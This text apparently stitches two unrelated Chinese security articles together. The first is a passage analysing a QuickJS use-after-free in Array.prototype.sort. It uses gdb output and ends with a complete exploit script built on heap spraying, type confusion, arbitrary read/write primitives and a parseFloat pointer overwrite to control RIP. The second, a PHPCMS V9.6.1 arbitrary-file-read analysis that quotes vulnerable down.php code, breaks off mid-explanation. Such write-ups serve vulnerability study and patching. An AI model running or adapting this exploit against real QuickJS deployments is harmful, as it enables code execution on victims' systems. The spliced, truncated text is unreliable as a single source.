0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000
**let a = [{aa:1},0,1,2,3]; //创建object对象，然后创建数组，object引用次数为1**
第一步 {aa:1}
14590 CASE(OP_object):
14591 *sp++ = JS_NewObject(ctx);
14592 if (unlikely(JS_IsException(sp[-1])))
14593 goto exception;
14594 BREAK;
第二步创建数组
gdb-peda$ p call_argc
$1 = 0x5
gdb-peda$ p call_argv
$2 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /10xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000
0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000
0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000
//0x00006070000091d0 object 对象地址
//引用计数
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
ref_count = 0x1
}
//赋值的时候引用次数加1
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
581 return (JSValue)v;
582 }
//释放掉之前的 减1
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557 if (JS_VALUE_HAS_REF_COUNT(v)) {
558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559 if (--p->ref_count <= 0) {
560 __JS_FreeValue(ctx, v);
561 }
562 }
563 }
**let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]]; //创建另一个数组，object引用次数为2**
//创建另一个数组 gdb调试信息
gdb-peda$ p call_argc
$10 = 0x1
gdb-peda$ p call_argv
$9 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /4xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000
p *(JSRefCountHeader*)0x00006070000091d0
$16 = {
ref_count = 0x2
}
**let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a. **defineSetter** (3,()=>{throw 1;}); //设置数组属性值的方法，箭头函数，抛出异常**
14837 CASE(OP_tail_call_method):
14838 {
14839 call_argc = get_u16(pc);
14840 pc += 2;
14841 call_argv = sp - call_argc;
14842 sf->cur_pc = pc;
14843 ret_val = JS_CallInternal(ctx, call_argv[-1], call_argv[-2],
14844 JS_UNDEFINED, call_argc, call_argv, 0);
14845 if (unlikely(JS_IsException(ret_val)))
14846 goto exception;
14847 if (opcode == OP_tail_call_method)
14848 goto done;
14849 for(i = -2; i < call_argc; i++)
14850 JS_FreeValue(ctx, call_argv[i]);
14851 sp -= call_argc + 2;
14852 *sp++ = ret_val;
14853 }
14854 BREAK;
32081 /* magic = 1 if called as __defineSetter__ */
32082 static JSValue js_object___defineGetter__(JSContext *ctx, JSValueConst this_val,
32083 int argc, JSValueConst *argv, int magic)
32084 {
32085 JSValue obj;
32086 JSValueConst prop, value, get, set;
32087 int ret, flags;
32088 JSAtom atom;
32089
32090 prop = argv[0];
32091 value = argv[1];
32092
32093 obj = JS_ToObject(ctx, this_val);
32094 if (JS_IsException(obj))
32095 return JS_EXCEPTION;
..........
..........
}
p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
ref_count = 0x2
}
**let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a. **defineSetter** (3,()=>{throw 1;});
try {
a.sort(function(v){return 0;}); //调用js_array_sort函数，调用之前设置的函数，抛出异常。
} catch (e){
//处理异常的时候，object引用次数减1
}**
//调用js_array_sort
34645 static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val,
34646 int argc, JSValueConst *argv)
34647 {
34648 struct array_sort_context asc = { ctx, 0, 0, argv[0] };
34649 JSValue obj = JS_UNDEFINED;
34650 ValueSlot *array = NULL;
34651 size_t array_size = 0, pos = 0, n = 0;
34652 int64_t i, len, undefined_count = 0;
34653 int present;
34654
34655 if (!JS_IsUndefined(asc.method)) {
34656 if (check_function(ctx, asc.method))
34657 goto exception;
34658 asc.has_method = 1;
34659 }
34660 obj = JS_ToObject(ctx, this_val);
34661 if (js_get_length64(ctx, &len, obj))
34662 goto exception;
34719 exception:
34720 for (n = 0; n < pos; n++) {
34721 JS_FreeValue(ctx, array[n].val);
34722 if (array[n].str)
34723 JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
34724 }
34725 js_free(ctx, array);
#0 js_array_sort (ctx=0x7fffffff49a0, this_val=<error reading variable: Cannot access memory at address 0x40>, argc=0x0, argv=0x7fffffff4ab0)
at quickjs.c:34647
#1 0x0000000000553606 in js_call_c_function (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
at quickjs.c:14236
#2 0x000000000053642d in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
at quickjs.c:14430
#3 0x000000000053ba6a in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x0, argv=0x0, flags=0x2)
at quickjs.c:14843
#4 0x0000000000522412 in JS_CallFree (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x0, argv=0x0) at quickjs.c:16768
exception 的时候object引用次数减1
此时0x00006070000091d0
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
ref_count = 0x1
}
**let a = [{hack:0},1,2,3,4];
a[0] = 0; //重新为a[0]赋值，之前a[0]的值是一个object对象，判断引用次数，如果为0，则释放该对象。**
创建数组
第二步数组赋值
15884 CASE(OP_put_array_el):
15885 {
15886 int ret;
15887
15888 ret = JS_SetPropertyValue(ctx, sp[-3], sp[-2], sp[-1], JS_PROP_THROW_STRICT);
15889 JS_FreeValue(ctx, sp[-3]);
15890 sp -= 3;
15891 if (unlikely(ret < 0))
15892 goto exception;
15893 }
15894 BREAK;
设置新值
1791 static inline void set_value(JSContext *ctx, JSValue *pval, JSValue new_val)
1792 {
1793 JSValue old_val;
1794 old_val = *pval;
1795 *pval = new_val;
1796 JS_FreeValue(ctx, old_val);
1797 }
之前的值判断引用计数
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557 if (JS_VALUE_HAS_REF_COUNT(v)) {
558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559 if (--p->ref_count <= 0) {
560 __JS_FreeValue(ctx, v);
561 }
562 }
563 }
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
ref_count = 0x0
}
**let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a. **defineSetter** (3,()=>{throw 1;});
try {
a.sort(function(v){return 0;});
} catch (e){ }
a[0] = 1; //同理上面
refcopy[0]; //最后heap use after free
while(1);**
//取数组值
15821 CASE(OP_get_array_el):
15822 {
15823 JSValue val;
15824
15825 val = JS_GetPropertyValue(ctx, sp[-2], sp[-1]);
15826 JS_FreeValue(ctx, sp[-2]);
15827 sp[-2] = val;
15828 sp--;
15829 if (unlikely(JS_IsException(val)))
15830 goto exception;
15831 }
15832 BREAK;
//使用内存
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577 if (JS_VALUE_HAS_REF_COUNT(v)) {
578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579 p->ref_count++;
580 }
581 return (JSValue)v;
582 }
## 0x3 利用
利用exp见文章末尾。
漏洞利用最终实现过程，利用free掉的内存造成类型混淆，利用类型混淆泄漏任意地址，得到parseFloat函数地址，利用任意地址写任意内容，覆盖parseFloat函数地址跳到我们的可控地址。
### 3.1
### 调用parseFloat函数的过程
RAX 0x46f680 (js_parseFloat) ◂— push rbp
RIP 0x416e2b (js_call_c_function+603) ◂— call rax
─────────────[ DISASM ]─────────────
► 0x416e2b <js_call_c_function+603> call rax <0x46f680>
─────────────[ SOURCE (CODE) ]─────────
In file: /home/test/Desktop/quick/quickjs-2019-07-09xx/quickjs.c
14231 }
14232 }
14233 /* here this_obj is new_target */
14234 /* fall thru */
14235 case JS_CFUNC_generic:
► 14236 ret_val = func.generic(ctx, this_obj, argc, arg_buf);
14237 break;
### 3.2
### 几个关键的结构体
JSObject
667 struct JSObject {
668 JSRefCountHeader header; /* must come first, 32-bit */
669 JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */
670 uint8_t extensible : 1;
671 uint8_t free_mark : 1; /* only used when freeing objects with cycles */
672 uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */
673 uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */
674 uint8_t is_constructor : 1; /* TRUE if object is a constructor function */
675 uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */
676 uint8_t is_class : 1; /* TRUE if object is a class constructor */
677 uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */
678 uint16_t class_id; /* see JS_CLASS_x */
679 /* byte offsets: 8/8 */
680 struct list_head link; /* object list */
681 /* byte offsets: 16/24 */
682 JSShape *shape; /* prototype and property names + flag */
683 JSProperty *prop; /* array of properties */
684 /* byte offsets: 24/40 */
685 struct JSMapRecord *first_weak_ref; /* XXX: use a bit and an external hash table? */
686 /* byte offsets: 28/48 */
687 union {
....
....
...
}
JSString
384 struct JSString {
385 JSRefCountHeader header; /* must come first, 32-bit */
386 uint32_t len : 31;
387 uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */
388 uint32_t hash : 30;
389 uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */
390 uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */
391 #ifdef DUMP_LEAKS
392 struct list_head link; /* string list */
393 #endif
394 union {
395 uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */
396 uint16_t str16[0];
397 } u;
398 };
JSArrayBuffer
516 typedef struct JSArrayBuffer {
517 int byte_length; /* 0 if detached */
518 uint8_t detached;
519 uint8_t shared; /* if shared, the array buffer cannot be detached */
520 uint8_t *data; /* NULL if detached */
521 struct list_head array_list;
522 void *opaque;
523 JSFreeArrayBufferDataFunc *free_func;
524 } JSArrayBuffer;
### 3.3
### 漏洞利用，造成类型混淆
//触发漏洞，和poc一样。
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
....
.... //内存要足够大
], 1, 2, 3, 4
];
refcopy = a[0];
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
//根据引用计数，释放掉之前的a[0]内存。此时内存类型为JSObject。
a[0] = 0x61616161;
//释放掉a[0]之后，重新分配JSString类型的内存。
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
//释放刚刚申请的JSString类型的内存。
refcopy = 0;
//申请一块新的内存，类型大小和a[0]一致，此时refill_1和refill_0指向同一块内存。
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, //和a[0]一样
...
...
];
//通过refill_0访问该内存时，该内存类型为JSString。
//通过refill_1访问该内存时，该内存类型为JSObject。
//造成类型混淆
创建第二个数组时，对应的gdb信息
//此时数组0保存第一个数组的地址(JSObject)，JSObject+56 偏移处保存着指向value的地址。
//重新分配JSString类型的内存。
(由于ASLR，地址变了，其实是上图中那个地址一致)
### 3.4
### 通过类型混淆泄漏JSObject的信息
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
### 3.5
### 释放refill_1和refill_0之前的值，设置为JSObjects内存。
### refill_1、refill_0指向同一块内存
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
### 3.6
### free refill_1内存，重新分配refill_1指向内存类型为jsArrayBuffer。
### refill_1、refill_0指向同一块内存，refill_0类型JSObject， refill_1类型为jsArrayBuffer。
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
此时JsArrayBuffer的data地址刚好是之前那块JSObject地址，接下来通过refill_1设置JSObject的内存。
(由于ASLR，地址变了，其实是上图中那个地址一致)
### 3.7
### 通过refill_1，设置内存的值为之前泄漏的JSObject对象的值，但是JSObject对象值的地址+0x2000，跳到堆喷可控得内存区。
### 后边利用这个操作，泄漏任意地址。
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
此时gdb中，JSObject values的值，指向了堆喷中的地址，+56。
(由于ASLR，地址变了，其实是上图中那个地址一致)
### 3.8
### 一开始的内存布局，堆喷、变量spray、jsobj_leak_data、x、y、master、slave
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
### 3.9
### 此处JSObject值得地址已经指向了spray区，通过refill_0[0]操作的是之前spray值。
### 在spray中找到我们刚刚修改的那个值，确定他的地址和index，后边有用
refill_0[0] = 0x1; //modify spray value
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
此时gdb中，通过JSObject values修改了spray数组。
### 3.10
### 利用上面的操作，泄漏任意地址。
### 在refill_0[0]处赋值为函数地址，通过overlap_buf把此处的地址读出来
### 可以得到parseFloat的地址、master字符串的地址、slave字符串的地址
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
此时gdb中，此时spray数组值为master addr，通过spray把地址读出来造成任意地址泄漏。
### 3.11
### refill_0类型JSObject， refill_1类型为ArrayBuffer。
### 利用refill_1重新设置JSObject值得地址，让他指向master->values得地址。
### 利用refill_0设置master->values ==》 slave
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
此时gdb中，master->values ==》 slave。
### 3.12
### 任意地址写
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
任意地址写
控制rip地址
## 0x4 exp
function toint64(low, high) {
return low + high * 0x100000000;
}
function fromint64(val) {
return [val & 0xffffffff, val / 0x100000000];
}
// Global variables we are using
var a;
var refcopy;
var refill_0;
var refill_1;
var spray;
var jsobj_leak_data;
var x;
var y;
var master;
var slave;
var master_addr;
var slave_addr;
var test;
var test_addr;
var fake_test;
var test_values;
var test_values_read;
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
print("placing target");
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
], 1, 2, 3, 4
];
print("grabbing reference to target");
refcopy = a[0];
print("triggering bug");
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
print("freeing target twice and overlaping JSString and JSObject");
a[0] = 0x61616161;
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
refcopy = 0;
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
];
print("leaking JSObject data");
// Parses the string into a bunch of uint32s
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
print("freeing target twice and refilling with two JSObjects");
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
print("freeing object again and refilling with ArrayBuffer data");
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
print("crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
print("finding overlap");
refill_0[0] = 0x1; //modify spray value, not modify free addr
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
print("setting master->values to slave addr");
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
//refill_1[(56) / 4] = overlap_addr;
print("setting up arb read/write");
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
print("DONE"); | 社区文章 |
# 【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析（含PoC，已有补丁）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **0r3ak@0kee
Team**](http://bobao.360.cn/member/contribute?uid=1056944258)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
PHPCMS于今天（2017年5月3日）下午已发布9.6.2版本修复了该漏洞。PHPCMS
V9.6.1是前段时间PHPCMS官方于4月12号推出的版本，修复了4月上旬公开的两个高危漏洞，一个前台注册接口的Getshell，另外一个是down模块的SQL注入漏洞：
PHPCMS V9.6.1 版本信息：
由于任意文件读取漏洞与down模块的SQL注入的问题出现在同一个类，那么先来回顾SQL注入的修复方式：
修复方式很常规的，将之前忽略的整型id参数给intval起来了，话说phpcms修复漏洞方式都是简单粗暴，哪里有漏洞补哪里。
由于漏洞出现在PHPCMS
V9.6.1里面代码里面（9.6.0以及之前的版本不存在），所以官方在修复了前面两个高危后再出了V9.6.1，检查了一下SQL注入与getshell漏洞的修复方式后就没去再仔细跟新版的代码，直到外界放出了声音后就仔细跟进了。
**漏洞技术分析**
**漏洞描述**
**漏洞危害：** 读取系统任意文件
**影响版本：** Phpcms V9.6.1 Release 20170412
**官方补丁：** 已发布（详情请见下文修复方案）
**漏洞成因**
此次的任意文件读取漏洞也出现在down类中，上次的sql注入也是这里的坑，所以应该叫继续分析吧，先来看漏洞触发点：
/phpcms/modules/content/down.php Line 103-127
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([sS]*?)([x81-xfe][x40-xfe])([sS]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
最后一行有file_down函数，跟进去看一下：phpcms/libs/functions/global.fun.php Line 1187-1204
function file_down($filepath, $filename = '') {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
readfile($filepath);
exit;
}
就一个普通的文件下载方法，当$fileurl传入后会去下载指定文件，再回到down.php文件中，在执行file_down前是走了几次判断：
